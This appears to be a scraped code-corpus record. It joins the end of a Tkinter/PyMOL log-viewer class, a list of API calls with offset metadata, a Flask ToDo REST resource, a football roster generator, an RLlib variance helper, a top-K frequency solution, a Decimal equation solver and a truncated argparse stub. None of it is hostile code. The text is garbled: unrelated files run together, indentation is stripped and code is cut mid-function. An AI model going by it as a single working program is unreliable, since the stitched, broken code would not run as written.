self.but_rangeShow.grid(row = 25, column = 8, columnspan = 2)
self.but_rangeNext = Tkinter.Button(self.page, width = 6, text = "Next", command = self.showNext)
self.but_rangeNext.grid(row = 25, column = 10, columnspan = 2)
self.but_rangePrev = Tkinter.Button(self.page, width = 6, text = "Prev", command = self.showPrev)
self.but_rangePrev.grid(row = 25, column = 12, columnspan = 2)
def setTreeData(self, treeData):
self.headers = treeData
def gridTree(self):
if not self.headers:
return
self.tree_data = ttk.Treeview(self.page, columns = self.headers, show = "headings", heigh = 15 )
self.tree_data.bind("<<TreeviewSelect>>", self.treeParallelSelection)
# self.tree_data.bind("<Button-1>", self.treeParallelSelection)
for header in self.headers:
self.tree_data.heading(header, text = header)
self.tree_data.column(header, width = 70)
self.tree_data.grid(row = 30, column = 0, columnspan = 40)
def treeParallelSelection(self, event):
if not self.dataIsMerged:
return
if not self.parallelSelection:
return
if self.externalSelection:
self.externalSelection = False
return
currentSel = event.widget.focus()
rowId = self.tree_data.item(currentSel)["values"][0]
data = self.logData["filtered"].iloc[[rowId]]
self.parallelSelectFunction(self.name, data)
def selectRowInTree(self, valueDict):
actualData = self.logData["filtered"]
selectedValues = actualData
for head in valueDict:
selectedValues = selectedValues[ selectedValues[head] == valueDict[head] ]
row2select = selectedValues.iloc[0]
selectedRowIndex = actualData.index.get_loc(row2select.name)
start, stop = self.privGetRange()
# print(self.name)
if selectedRowIndex < start or selectedRowIndex > stop:
diff = stop - start
newStart = selectedRowIndex
newStop = newStart + diff
dataLen = self.logData["filtered"].shape[0]
if newStop > dataLen:
newStop = dataLen
newStart = dataLen - diff
self.ent_rangeStart.delete(0, "end")
self.ent_rangeStart.insert("end", str(newStart))
self.ent_rangeStop.delete(0, "end")
self.ent_rangeStop.insert("end", str(newStop))
self.privShowRange(newStart, newStop)
start = newStart
stop = newStop
treeviewLen = len(self.tree_data.get_children())
itemId = self.tree_data.get_children()[selectedRowIndex-start]
self.tree_data.selection_set(itemId)
# self.tree_data.focus_set(itemId)
# self.tree_data.focus(itemId)
fraction = float(selectedRowIndex-start)/treeviewLen
# self.tree_data.yview_moveto( 0 )
self.tree_data.yview_moveto(fraction)
# self.tree_data.yview_scroll()
self.externalSelection = True
def getState(self):
state = { "numerical_parameters" : {}, "checkboxes" : {} , "additionalCheckboxes" : {}, "listParameters" : {} }
for label in self.numericalParameters:
state["numerical_parameters"][label] = {}
state["numerical_parameters"][label]["entry_low"] = self.numericalParameters[label]["entry_low"].get()
state["numerical_parameters"][label]["entry_high"] = self.numericalParameters[label]["entry_high"].get()
for label in self.checkboxVars:
state["checkboxes"][label] = self.checkboxVars[label].get()
for label in self.listParameters:
state["listParameters"][label] = self.listParameters[label]["listboxSelected"].get(0, 'end')
for obj in self.additionalCheckboxes:
state["additionalCheckboxes"][obj["label"]] = obj["chkVar"].get()
return state
def loadState(self, state):
for label in state["numerical_parameters"]:
if label in self.numericalParameters:
newValueLow = state["numerical_parameters"][label]["entry_low"]
newValueHigh = state["numerical_parameters"][label]["entry_high"]
self.numericalParameters[label]["entry_low"].delete(0,"end")
self.numericalParameters[label]["entry_low"].insert(0, newValueLow)
self.numericalParameters[label]["entry_high"].delete(0,"end")
self.numericalParameters[label]["entry_high"].insert(0, newValueHigh)
for label in state["checkboxes"]:
if label in self.checkboxVars:
newValue = int(state["checkboxes"][label])
self.checkboxVars[label].set(newValue)
for label in state["listParameters"]:
if label in self.listParameters:
newValues = state["listParameters"][label]
self.listParameters[label]["listboxSelected"].delete(0,"end")
for val in newValues:
self.listParameters[label]["listboxSelected"].insert("end", val)
for obj in self.additionalCheckboxes:
label = obj["label"]
if label in state["additionalCheckboxes"]:
newValue = int(state["additionalCheckboxes"][label])
obj["chkVar"].set(newValue)
def startRecording(self, file2record):
self.file2record = file2record
self.recording = True
def stopRecording(self):
self.recording = False
| [
"pymol.cmd.deselect",
"pymol.cmd.load",
"pandas.read_csv",
"tkinter.Button",
"pymol.cmd.frame",
"tkinter.Label",
"pymol.cmd.zoom",
"tkinter.ttk.Treeview",
"tkinter.messagebox.showwarning",
"tkinter.Entry",
"pymol.cmd.select",
"pymol.cmd.fetch",
"pymol.cmd.center",
"tkinter.filedialog.askop... | [((2207, 2293), 'tkinter.Button', 'Tkinter.Button', (['self.page'], {'text': '"""Load log file"""', 'command': 'self.getLogFile', 'width': '(10)'}), "(self.page, text='Load log file', command=self.getLogFile,\n width=10)\n", (2221, 2293), True, 'import tkinter as Tkinter\n'), ((2375, 2409), 'tkinter.Entry', 'Tkinter.Entry', (['self.page'], {'width': '(20)'}), '(self.page, width=20)\n', (2388, 2409), True, 'import tkinter as Tkinter\n'), ((2557, 2600), 'tkinter.Label', 'Tkinter.Label', (['self.page'], {'text': '"""Use filter"""'}), "(self.page, text='Use filter')\n", (2570, 2600), True, 'import tkinter as Tkinter\n'), ((2719, 2906), 'tkinter.filedialog.askopenfilename', 'tkFileDialog.askopenfilename', ([], {'title': '"""Select file"""', 'filetypes': "(('Log files', '*.log'), ('Txt files', '*.txt'), ('CSV files', '*.csv'), (\n 'Dat files', '*.dat'), ('all files', '*.*'))"}), "(title='Select file', filetypes=(('Log files',\n '*.log'), ('Txt files', '*.txt'), ('CSV files', '*.csv'), ('Dat files',\n '*.dat'), ('all files', '*.*')))\n", (2747, 2906), True, 'from tkinter import filedialog as tkFileDialog\n'), ((6118, 6157), 'tkinter.Label', 'Tkinter.Label', (['self.page'], {'text': '"""Around"""'}), "(self.page, text='Around')\n", (6131, 6157), True, 'import tkinter as Tkinter\n'), ((6261, 6277), 'tkinter.IntVar', 'Tkinter.IntVar', ([], {}), '()\n', (6275, 6277), True, 'import tkinter as Tkinter\n'), ((6313, 6402), 'tkinter.Checkbutton', 'Tkinter.Checkbutton', (['self.page'], {'variable': 'self.chkvar_around', 'command': 'self.showAround'}), '(self.page, variable=self.chkvar_around, command=self.\n showAround)\n', (6332, 6402), True, 'import tkinter as Tkinter\n'), ((6500, 6534), 'tkinter.Entry', 'Tkinter.Entry', (['self.page'], {'width': '(10)'}), '(self.page, width=10)\n', (6513, 6534), True, 'import tkinter as Tkinter\n'), ((7486, 7500), 'pymol.cmd.deselect', 'cmd.deselect', ([], {}), '()\n', (7498, 7500), False, 'from pymol import cmd\n'), ((13697, 13736), 'tkinter.Label', 'Tkinter.Label', (['self.page'], {'text': '"""Unique"""'}), "(self.page, text='Unique')\n", (13710, 13736), True, 'import tkinter as Tkinter\n'), ((14547, 14621), 'tkinter.Button', 'Tkinter.Button', (['self.page'], {'text': '"""Count"""', 'width': '(8)', 'command': 'self.countUnique'}), "(self.page, text='Count', width=8, command=self.countUnique)\n", (14561, 14621), True, 'import tkinter as Tkinter\n'), ((14787, 14820), 'tkinter.Entry', 'Tkinter.Entry', (['self.page'], {'width': '(8)'}), '(self.page, width=8)\n', (14800, 14820), True, 'import tkinter as Tkinter\n'), ((15046, 15134), 'tkinter.Button', 'Tkinter.Button', (['self.page'], {'text': '"""Leave only"""', 'width': '(8)', 'command': 'self.leaveOnlyUnique'}), "(self.page, text='Leave only', width=8, command=self.\n leaveOnlyUnique)\n", (15060, 15134), True, 'import tkinter as Tkinter\n'), ((16456, 16544), 'tkinter.Button', 'Tkinter.Button', (['self.page'], {'width': '(7)', 'command': 'self.saveFiltered', 'text': '"""Save filtered"""'}), "(self.page, width=7, command=self.saveFiltered, text=\n 'Save filtered')\n", (16470, 16544), True, 'import tkinter as Tkinter\n'), ((17626, 17820), 'tkinter.filedialog.asksaveasfilename', 'tkFileDialog.asksaveasfilename', ([], {'defaultextension': '""".log"""', 'filetypes': "(('Log files', '*.log'), ('Txt files', '*.txt'), ('CSV files', '*.csv'), (\n 'Dat files', '*.dat'), ('all files', '*.*'))"}), "(defaultextension='.log', filetypes=((\n 'Log files', '*.log'), ('Txt files', '*.txt'), ('CSV files', '*.csv'),\n ('Dat files', '*.dat'), ('all files', '*.*')))\n", (17656, 17820), True, 'from tkinter import filedialog as tkFileDialog\n'), ((25584, 25605), 'pymol.cmd.get_object_list', 'cmd.get_object_list', ([], {}), '()\n', (25603, 25605), False, 'from pymol import cmd\n'), ((26510, 26532), 'pymol.cmd.hide', 'cmd.hide', (['"""everything"""'], {}), "('everything')\n", (26518, 26532), False, 'from pymol import cmd\n'), ((27357, 27393), 'pymol.cmd.select', 'cmd.select', (['selectionName', 'selection'], {}), '(selectionName, selection)\n', (27367, 27393), False, 'from pymol import cmd\n'), ((27402, 27435), 'pymol.cmd.show', 'cmd.show', (['"""sticks"""', 'selectionName'], {}), "('sticks', selectionName)\n", (27410, 27435), False, 'from pymol import cmd\n'), ((27448, 27473), 'pymol.cmd.center', 'cmd.center', (['selectionName'], {}), '(selectionName)\n', (27458, 27473), False, 'from pymol import cmd\n'), ((27482, 27505), 'pymol.cmd.zoom', 'cmd.zoom', (['selectionName'], {}), '(selectionName)\n', (27490, 27505), False, 'from pymol import cmd\n'), ((28127, 28141), 'pymol.cmd.deselect', 'cmd.deselect', ([], {}), '()\n', (28139, 28141), False, 'from pymol import cmd\n'), ((28248, 28254), 'time.time', 'time', ([], {}), '()\n', (28252, 28254), False, 'from time import time\n'), ((28829, 28850), 'pymol.cmd.get_object_list', 'cmd.get_object_list', ([], {}), '()\n', (28848, 28850), False, 'from pymol import cmd\n'), ((29862, 29898), 'pymol.cmd.select', 'cmd.select', (['selectionName', 'selection'], {}), '(selectionName, selection)\n', (29872, 29898), False, 'from pymol import cmd\n'), ((29907, 29940), 'pymol.cmd.show', 'cmd.show', (['"""sticks"""', 'selectionName'], {}), "('sticks', selectionName)\n", (29915, 29940), False, 'from pymol import cmd\n'), ((29953, 29978), 'pymol.cmd.center', 'cmd.center', (['selectionName'], {}), '(selectionName)\n', (29963, 29978), False, 'from pymol import cmd\n'), ((29987, 30010), 'pymol.cmd.zoom', 'cmd.zoom', (['selectionName'], {}), '(selectionName)\n', (29995, 30010), False, 'from pymol import cmd\n'), ((30711, 30796), 'cgo_arrow.cgo_arrow', 'cgo_arrow', (['arrowBegin', 'arrowEnd', '(0.1)'], {'name': 'self.arrowName', 'color': 'self.arrowColor'}), '(arrowBegin, arrowEnd, 0.1, name=self.arrowName, color=self.arrowColor\n )\n', (30720, 30796), False, 'from cgo_arrow import cgo_arrow\n'), ((30910, 30924), 'pymol.cmd.deselect', 'cmd.deselect', ([], {}), '()\n', (30922, 30924), False, 'from pymol import cmd\n'), ((31031, 31037), 'time.time', 'time', ([], {}), '()\n', (31035, 31037), False, 'from time import time\n'), ((31096, 31131), 'pymol.cmd.get_names_of_type', 'cmd.get_names_of_type', (['"""object:cgo"""'], {}), "('object:cgo')\n", (31117, 31131), False, 'from pymol import cmd\n'), ((33832, 33908), 'tkinter.Button', 'Tkinter.Button', (['self.page'], {'width': '(10)', 'command': 'self.applyFilter', 'text': '"""Search"""'}), "(self.page, width=10, command=self.applyFilter, text='Search')\n", (33846, 33908), True, 'import tkinter as Tkinter\n'), ((33998, 34054), 'tkinter.Label', 'Tkinter.Label', (['self.page'], {'width': '(10)', 'text': '"""Records found"""'}), "(self.page, width=10, text='Records found')\n", (34011, 34054), True, 'import tkinter as Tkinter\n'), ((34149, 34183), 'tkinter.Entry', 'Tkinter.Entry', (['self.page'], {'width': '(20)'}), '(self.page, width=20)\n', (34162, 34183), True, 'import tkinter as Tkinter\n'), ((34352, 34399), 'tkinter.Label', 'Tkinter.Label', (['self.page'], {'width': '(5)', 'text': '"""Range"""'}), "(self.page, width=5, text='Range')\n", (34365, 34399), True, 'import tkinter as Tkinter\n'), ((34494, 34527), 'tkinter.Entry', 'Tkinter.Entry', (['self.page'], {'width': '(8)'}), '(self.page, width=8)\n', (34507, 34527), True, 'import tkinter as Tkinter\n'), ((34684, 34717), 'tkinter.Entry', 'Tkinter.Entry', (['self.page'], {'width': '(8)'}), '(self.page, width=8)\n', (34697, 34717), True, 'import tkinter as Tkinter\n'), ((34880, 34972), 'tkinter.Button', 'Tkinter.Button', (['self.page'], {'width': '(8)', 'command': 'self.showInteractions', 'text': '"""Show interact"""'}), "(self.page, width=8, command=self.showInteractions, text=\n 'Show interact')\n", (34894, 34972), True, 'import tkinter as Tkinter\n'), ((35086, 35157), 'tkinter.Button', 'Tkinter.Button', (['self.page'], {'width': '(6)', 'text': '"""Show"""', 'command': 'self.showRange'}), "(self.page, width=6, text='Show', command=self.showRange)\n", (35100, 35157), True, 'import tkinter as Tkinter\n'), ((35272, 35342), 'tkinter.Button', 'Tkinter.Button', (['self.page'], {'width': '(6)', 'text': '"""Next"""', 'command': 'self.showNext'}), "(self.page, width=6, text='Next', command=self.showNext)\n", (35286, 35342), True, 'import tkinter as Tkinter\n'), ((35458, 35528), 'tkinter.Button', 'Tkinter.Button', (['self.page'], {'width': '(6)', 'text': '"""Prev"""', 'command': 'self.showPrev'}), "(self.page, width=6, text='Prev', command=self.showPrev)\n", (35472, 35528), True, 'import tkinter as Tkinter\n'), ((35799, 35871), 'tkinter.ttk.Treeview', 'ttk.Treeview', (['self.page'], {'columns': 'self.headers', 'show': '"""headings"""', 'heigh': '(15)'}), "(self.page, columns=self.headers, show='headings', heigh=15)\n", (35811, 35871), True, 'import tkinter.ttk as ttk\n'), ((4632, 4666), 'tkinter.Entry', 'Tkinter.Entry', (['self.page'], {'width': '(10)'}), '(self.page, width=10)\n', (4645, 4666), True, 'import tkinter as Tkinter\n'), ((4841, 4905), 'tkinter.Label', 'Tkinter.Label', (['self.page'], {'width': '(10)', 'text': "('< ' + parameter + ' <')"}), "(self.page, width=10, text='< ' + parameter + ' <')\n", (4854, 4905), True, 'import tkinter as Tkinter\n'), ((5076, 5110), 'tkinter.Entry', 'Tkinter.Entry', (['self.page'], {'width': '(10)'}), '(self.page, width=10)\n', (5089, 5110), True, 'import tkinter as Tkinter\n'), ((5270, 5286), 'tkinter.IntVar', 'Tkinter.IntVar', ([], {}), '()\n', (5284, 5286), True, 'import tkinter as Tkinter\n'), ((5358, 5427), 'tkinter.Checkbutton', 'Tkinter.Checkbutton', (['self.page'], {'variable': 'self.checkboxVars[parameter]'}), '(self.page, variable=self.checkboxVars[parameter])\n', (5377, 5427), True, 'import tkinter as Tkinter\n'), ((7158, 7196), 'pymol.cmd.show', 'cmd.show', (['"""lines"""', 'selectionAroundName'], {}), "('lines', selectionAroundName)\n", (7166, 7196), False, 'from pymol import cmd\n'), ((7788, 7828), 'tkinter.Label', 'Tkinter.Label', (['self.page'], {'text': 'parameter'}), '(self.page, text=parameter)\n', (7801, 7828), True, 'import tkinter as Tkinter\n'), ((7981, 7997), 'tkinter.IntVar', 'Tkinter.IntVar', ([], {}), '()\n', (7995, 7997), True, 'import tkinter as Tkinter\n'), ((8068, 8137), 'tkinter.Checkbutton', 'Tkinter.Checkbutton', (['self.page'], {'variable': 'self.checkboxVars[parameter]'}), '(self.page, variable=self.checkboxVars[parameter])\n', (8087, 8137), True, 'import tkinter as Tkinter\n'), ((8309, 8378), 'tkinter.Listbox', 'Tkinter.Listbox', (['self.page'], {'width': '(10)', 'height': '(8)', 'exportselection': '(False)'}), '(self.page, width=10, height=8, exportselection=False)\n', (8324, 8378), True, 'import tkinter as Tkinter\n'), ((8721, 8754), 'tkinter.Entry', 'Tkinter.Entry', (['self.page'], {'width': '(5)'}), '(self.page, width=5)\n', (8734, 8754), True, 'import tkinter as Tkinter\n'), ((9201, 9270), 'tkinter.Listbox', 'Tkinter.Listbox', (['self.page'], {'width': '(10)', 'height': '(6)', 'exportselection': '(False)'}), '(self.page, width=10, height=6, exportselection=False)\n', (9216, 9270), True, 'import tkinter as Tkinter\n'), ((12087, 12103), 'tkinter.IntVar', 'Tkinter.IntVar', ([], {}), '()\n', (12101, 12103), True, 'import tkinter as Tkinter\n'), ((12163, 12236), 'tkinter.Checkbutton', 'Tkinter.Checkbutton', (['self.page'], {'variable': "self.sortingMenu[i]['chk_value']"}), "(self.page, variable=self.sortingMenu[i]['chk_value'])\n", (12182, 12236), True, 'import tkinter as Tkinter\n'), ((12390, 12406), 'tkinter.IntVar', 'Tkinter.IntVar', ([], {}), '()\n', (12404, 12406), True, 'import tkinter as Tkinter\n'), ((12898, 12914), 'tkinter.IntVar', 'Tkinter.IntVar', ([], {}), '()\n', (12912, 12914), True, 'import tkinter as Tkinter\n'), ((14026, 14060), 'tkinter.Label', 'Tkinter.Label', (['self.page'], {'text': 'key'}), '(self.page, text=key)\n', (14039, 14060), True, 'import tkinter as Tkinter\n'), ((14266, 14282), 'tkinter.IntVar', 'Tkinter.IntVar', ([], {}), '()\n', (14280, 14282), True, 'import tkinter as Tkinter\n'), ((14317, 14389), 'tkinter.Checkbutton', 'Tkinter.Checkbutton', (['self.page'], {'variable': "self.uniqueMenu[i]['chk_value']"}), "(self.page, variable=self.uniqueMenu[i]['chk_value'])\n", (14336, 14389), True, 'import tkinter as Tkinter\n'), ((18262, 18336), 'tkinter.messagebox.showwarning', 'tkMessageBox.showwarning', ([], {'title': '"""Warning"""', 'message': '"""Log file not selected"""'}), "(title='Warning', message='Log file not selected')\n", (18286, 18336), True, 'from tkinter import messagebox as tkMessageBox\n'), ((25502, 25545), 'pymol.cmd.delete', 'cmd.delete', (["self.currentMolecule['PdbCode']"], {}), "(self.currentMolecule['PdbCode'])\n", (25512, 25545), False, 'from pymol import cmd\n'), ((26470, 26490), 'pymol.cmd.frame', 'cmd.frame', (['(frame + 1)'], {}), '(frame + 1)\n', (26479, 26490), False, 'from pymol import cmd\n'), ((26990, 27076), 'cgo_arrow.cgo_arrow', 'cgo_arrow', (['arrowBegin', 'arrowEnd', '(0.1)'], {'name': 'uniqueArrowName', 'color': 'self.arrowColor'}), '(arrowBegin, arrowEnd, 0.1, name=uniqueArrowName, color=self.\n arrowColor)\n', (26999, 27076), False, 'from cgo_arrow import cgo_arrow\n'), ((27855, 27893), 'pymol.cmd.show', 'cmd.show', (['"""lines"""', 'selectionAroundName'], {}), "('lines', selectionAroundName)\n", (27863, 27893), False, 'from pymol import cmd\n'), ((28747, 28790), 'pymol.cmd.delete', 'cmd.delete', (["self.currentMolecule['PdbCode']"], {}), "(self.currentMolecule['PdbCode'])\n", (28757, 28790), False, 'from pymol import cmd\n'), ((29715, 29735), 'pymol.cmd.frame', 'cmd.frame', (['(frame + 1)'], {}), '(frame + 1)\n', (29724, 29735), False, 'from pymol import cmd\n'), ((30360, 30428), 'pymol.cmd.select', 'cmd.select', (['selectionAroundName', '"""byres ( suprSelection around 5 ) """'], {}), "(selectionAroundName, 'byres ( suprSelection around 5 ) ')\n", (30370, 30428), False, 'from pymol import cmd\n'), ((30444, 30482), 'pymol.cmd.show', 'cmd.show', (['"""lines"""', 'selectionAroundName'], {}), "('lines', selectionAroundName)\n", (30452, 30482), False, 'from pymol import cmd\n'), ((3723, 3809), 'tkinter.messagebox.showwarning', 'tkMessageBox.showwarning', ([], {'title': '"""Error!"""', 'message': '"""Pandas cannot parse this file"""'}), "(title='Error!', message=\n 'Pandas cannot parse this file')\n", (3747, 3809), True, 'from tkinter import messagebox as tkMessageBox\n'), ((7342, 7373), 'pymol.cmd.hide', 'cmd.hide', (['"""lines"""', '"""suprAround"""'], {}), "('lines', 'suprAround')\n", (7350, 7373), False, 'from pymol import cmd\n'), ((7387, 7411), 'pymol.cmd.delete', 'cmd.delete', (['"""suprAround"""'], {}), "('suprAround')\n", (7397, 7411), False, 'from pymol import cmd\n'), ((12555, 12682), 'tkinter.Radiobutton', 'Tkinter.Radiobutton', (['self.page'], {'text': 'key', 'variable': "self.sortingMenu[i]['sorting_key']", 'value': 'value', 'indicatoron': '(0)', 'width': '(8)'}), "(self.page, text=key, variable=self.sortingMenu[i][\n 'sorting_key'], value=value, indicatoron=0, width=8)\n", (12574, 12682), True, 'import tkinter as Tkinter\n'), ((13035, 13167), 'tkinter.Radiobutton', 'Tkinter.Radiobutton', (['self.page'], {'text': 'key', 'variable': "self.sortingMenu[i]['sortingTypeValue']", 'value': 'value', 'indicatoron': '(0)', 'width': '(8)'}), "(self.page, text=key, variable=self.sortingMenu[i][\n 'sortingTypeValue'], value=value, indicatoron=0, width=8)\n", (13054, 13167), True, 'import tkinter as Tkinter\n'), ((16948, 17016), 'tkinter.Label', 'Tkinter.Label', (['self.page'], {'text': "self.additionalCheckboxes[i]['label']"}), "(self.page, text=self.additionalCheckboxes[i]['label'])\n", (16961, 17016), True, 'import tkinter as Tkinter\n'), ((17185, 17201), 'tkinter.IntVar', 'Tkinter.IntVar', ([], {}), '()\n', (17199, 17201), True, 'import tkinter as Tkinter\n'), ((17273, 17352), 'tkinter.Checkbutton', 'Tkinter.Checkbutton', (['self.page'], {'variable': "self.additionalCheckboxes[i]['chkVar']"}), "(self.page, variable=self.additionalCheckboxes[i]['chkVar'])\n", (17292, 17352), True, 'import tkinter as Tkinter\n'), ((25713, 25728), 'pymol.cmd.delete', 'cmd.delete', (['obj'], {}), '(obj)\n', (25723, 25728), False, 'from pymol import cmd\n'), ((26359, 26377), 'pymol.cmd.fetch', 'cmd.fetch', (['pdbCode'], {}), '(pdbCode)\n', (26368, 26377), False, 'from pymol import cmd\n'), ((28958, 28973), 'pymol.cmd.delete', 'cmd.delete', (['obj'], {}), '(obj)\n', (28968, 28973), False, 'from pymol import cmd\n'), ((29604, 29622), 'pymol.cmd.fetch', 'cmd.fetch', (['pdbCode'], {}), '(pdbCode)\n', (29613, 29622), False, 'from pymol import cmd\n'), ((31181, 31198), 'pymol.cmd.delete', 'cmd.delete', (['arrow'], {}), '(arrow)\n', (31191, 31198), False, 'from pymol import cmd\n'), ((3278, 3324), 'pandas.read_csv', 'pd.read_csv', (["self.logData['logFile']"], {'sep': '"""\t"""'}), "(self.logData['logFile'], sep='\\t')\n", (3289, 3324), True, 'import pandas as pd\n'), ((26113, 26134), 'os.path.isfile', 'path.isfile', (['filePath'], {}), '(filePath)\n', (26124, 26134), False, 'from os import path\n'), ((26302, 26320), 'pymol.cmd.fetch', 'cmd.fetch', (['pdbCode'], {}), '(pdbCode)\n', (26311, 26320), False, 'from pymol import cmd\n'), ((29358, 29379), 'os.path.isfile', 'path.isfile', (['filePath'], {}), '(filePath)\n', (29369, 29379), False, 'from os import path\n'), ((29547, 29565), 'pymol.cmd.fetch', 'cmd.fetch', (['pdbCode'], {}), '(pdbCode)\n', (29556, 29565), False, 'from pymol import cmd\n'), ((26160, 26178), 'pymol.cmd.load', 'cmd.load', (['filePath'], {}), '(filePath)\n', (26168, 26178), False, 'from pymol import cmd\n'), ((29405, 29423), 'pymol.cmd.load', 'cmd.load', (['filePath'], {}), '(filePath)\n', (29413, 29423), False, 'from pymol import cmd\n')] |
from flask_restful import Resource, reqparse
from application.models.todo import ToDoModel
class ToDo(Resource):
parser = reqparse.RequestParser()
parser.add_argument('name',
required=True,
help="ToDo needs a name!"
)
parser.add_argument('description',
required=True,
help="ToDo needs a description!"
)
parser.add_argument('list_id',
required=True,
help="ToDo needs a list name!"
)
def get(self, _id):
todo = ToDoModel.find_by_id(_id)
return todo.json() if todo else {'message': 'ToDo not found.'}, 404
def post(self, _id):
data = ToDo.parser.parse_args()
todo = ToDoModel(data['name'], data['description'], data['list_id'])
try:
todo.save_to_db()
except:
return {'message': 'An error occured inserting the todo'}, 500
return todo.json(), 201
def put(self, _id):
data = ToDo.parser.parse_args()
todo = ToDoModel.find_by_id(_id)
if todo:
todo.name = data.name
todo.description = data.description
todo.list_id = data.list_id
else:
todo = ToDoModel(data.name, data.description, data.list_id)
todo.save_to_db()
return todo.json()
def delete(self, _id):
todo = ToDoModel.find_by_id(_id)
if todo:
todo.delete_from_db()
return {'message': 'To do deleted'}
| [
"application.models.todo.ToDoModel",
"flask_restful.reqparse.RequestParser",
"application.models.todo.ToDoModel.find_by_id"
] | [((127, 151), 'flask_restful.reqparse.RequestParser', 'reqparse.RequestParser', ([], {}), '()\n', (149, 151), False, 'from flask_restful import Resource, reqparse\n'), ((501, 526), 'application.models.todo.ToDoModel.find_by_id', 'ToDoModel.find_by_id', (['_id'], {}), '(_id)\n', (521, 526), False, 'from application.models.todo import ToDoModel\n'), ((684, 745), 'application.models.todo.ToDoModel', 'ToDoModel', (["data['name']", "data['description']", "data['list_id']"], {}), "(data['name'], data['description'], data['list_id'])\n", (693, 745), False, 'from application.models.todo import ToDoModel\n'), ((993, 1018), 'application.models.todo.ToDoModel.find_by_id', 'ToDoModel.find_by_id', (['_id'], {}), '(_id)\n', (1013, 1018), False, 'from application.models.todo import ToDoModel\n'), ((1351, 1376), 'application.models.todo.ToDoModel.find_by_id', 'ToDoModel.find_by_id', (['_id'], {}), '(_id)\n', (1371, 1376), False, 'from application.models.todo import ToDoModel\n'), ((1192, 1244), 'application.models.todo.ToDoModel', 'ToDoModel', (['data.name', 'data.description', 'data.list_id'], {}), '(data.name, data.description, data.list_id)\n', (1201, 1244), False, 'from application.models.todo import ToDoModel\n')] |
from lib.models import Person
from lib.models import Player
from lib.models import Coach
from lib.models import Team
from lib.config.locales import locales
from lib.config.modules import modules
from lib.generator.superfaker import SuperFaker
import random
class RandomFiller(object):
faker = None
locale = None
locales = None
def __init__(self, locale='it_IT'):
self.locales = locales
self.change_locale(locale)
def get_person(self):
person = Person()
person.name = self.faker.name()
person.surname = self.faker.surname()
person.skill = random.randint(40, 100)
return person
def get_player(self, locale=None):
self.change_locale(locale)
pl = Player(self.get_person())
pl.role = self.faker.player_role()
pl.age = self.faker.age()
pl.nationality = self.locale
return pl
def get_coach(self, locale=None):
self.change_locale(locale)
co = Coach(self.get_person())
co.age = self.faker.age(38, 70)
co.module = self.get_module()
co.nationality = self.locale
return co
def get_team(self, locale=None):
self.change_locale(locale)
players = []
for _ in range(15):
players.append(self.get_player())
te = Team(self.get_coach(), players)
te.name = self.faker.team_name()
te.nationality = self.locale
return te
def change_locale(self, locale=None):
if self.locale != locale and locale is not None:
self.faker = SuperFaker(locale)
self.locale = locale
def get_locale(self):
return self.locales[random.choice(list(self.locales.keys()))]['locale']
def get_module(self):
return random.choice(list(modules.keys()))
| [
"lib.generator.superfaker.SuperFaker",
"lib.config.modules.modules.keys",
"lib.models.Person",
"random.randint"
] | [((492, 500), 'lib.models.Person', 'Person', ([], {}), '()\n', (498, 500), False, 'from lib.models import Person\n'), ((610, 633), 'random.randint', 'random.randint', (['(40)', '(100)'], {}), '(40, 100)\n', (624, 633), False, 'import random\n'), ((1581, 1599), 'lib.generator.superfaker.SuperFaker', 'SuperFaker', (['locale'], {}), '(locale)\n', (1591, 1599), False, 'from lib.generator.superfaker import SuperFaker\n'), ((1801, 1815), 'lib.config.modules.modules.keys', 'modules.keys', ([], {}), '()\n', (1813, 1815), False, 'from lib.config.modules import modules\n')] |
from ray.rllib.utils import try_import_tf, try_import_torch
tf = try_import_tf()
torch, nn = try_import_torch()
def explained_variance(y, pred, framework="tf"):
if framework == "tf":
_, y_var = tf.nn.moments(y, axes=[0])
_, diff_var = tf.nn.moments(y - pred, axes=[0])
return tf.maximum(-1.0, 1 - (diff_var / y_var))
else:
y_var = torch.var(y, dim=[0])
diff_var = torch.var(y - pred, dim=[0])
min_ = torch.Tensor([-1.0])
return torch.max(
min_.to(
device=torch.device("cuda")
) if torch.cuda.is_available() else min_,
1 - (diff_var / y_var)
)
| [
"ray.rllib.utils.try_import_tf",
"ray.rllib.utils.try_import_torch"
] | [((66, 81), 'ray.rllib.utils.try_import_tf', 'try_import_tf', ([], {}), '()\n', (79, 81), False, 'from ray.rllib.utils import try_import_tf, try_import_torch\n'), ((94, 112), 'ray.rllib.utils.try_import_torch', 'try_import_torch', ([], {}), '()\n', (110, 112), False, 'from ray.rllib.utils import try_import_tf, try_import_torch\n')] |
# -*- coding: utf-8 -*-
# @Author: 何睿
# @Create Date: 2019-04-09 12:37:36
# @Last Modified by: 何睿
# @Last Modified time: 2019-04-09 15:57:00
from collections import Counter
class Solution:
def topKFrequent(self, nums: [int], k: int) -> [int]:
# 桶
bucket = dict()
# 构建字典,键位数字,值为该数字出现过的次数
table = Counter(nums)
result, count = [], 0
# 以元素出现的次数位键,该次数下的所有元素构成的 List 为值
for num, times in table.items():
if times not in bucket: bucket[times] = []
bucket[times].append(num)
# 出现的最大次数
maxtime = max(table.values())
for time in range(maxtime, 0, -1):
# 如果该次数下有元素
if time in bucket:
# 提取当前次数下的所有元素到结果中
result.extend(bucket[time])
count += len(bucket[time])
if count == k: break
return result | [
"collections.Counter"
] | [((355, 368), 'collections.Counter', 'Counter', (['nums'], {}), '(nums)\n', (362, 368), False, 'from collections import Counter\n')] |
from decimal import Decimal, getcontext
getcontext().prec = 8
class F(object):
def __init__(self, a, b, c):
self.a = Decimal(a)
self.b = Decimal(b)
self.c = Decimal(c)
def q(F1, F2):
assert type(F1) is F and type(F2) is F
assert F1.a * F2.b - F1.b * F2.a is not 0
x = (F1.c * F2.b - F2.c * F1.b) / (F1.a * F2.b - F2.a * F1.b)
y = (F1.c - F1.a * x) / F1.b
return {"x": x, "y": y}
while True:
print((lambda x: "x={}, y={}".format(x["x"], x["y"]))(q(F(input("a="), input("b="), input("c=")), F(input("d="), input("e="), input("f=")))))
| [
"decimal.getcontext",
"decimal.Decimal"
] | [((41, 53), 'decimal.getcontext', 'getcontext', ([], {}), '()\n', (51, 53), False, 'from decimal import Decimal, getcontext\n'), ((132, 142), 'decimal.Decimal', 'Decimal', (['a'], {}), '(a)\n', (139, 142), False, 'from decimal import Decimal, getcontext\n'), ((160, 170), 'decimal.Decimal', 'Decimal', (['b'], {}), '(b)\n', (167, 170), False, 'from decimal import Decimal, getcontext\n'), ((188, 198), 'decimal.Decimal', 'Decimal', (['c'], {}), '(c)\n', (195, 198), False, 'from decimal import Decimal, getcontext\n')] |
import argparse
import itertools
import string
def flags():
parser = argparse.ArgumentParser()
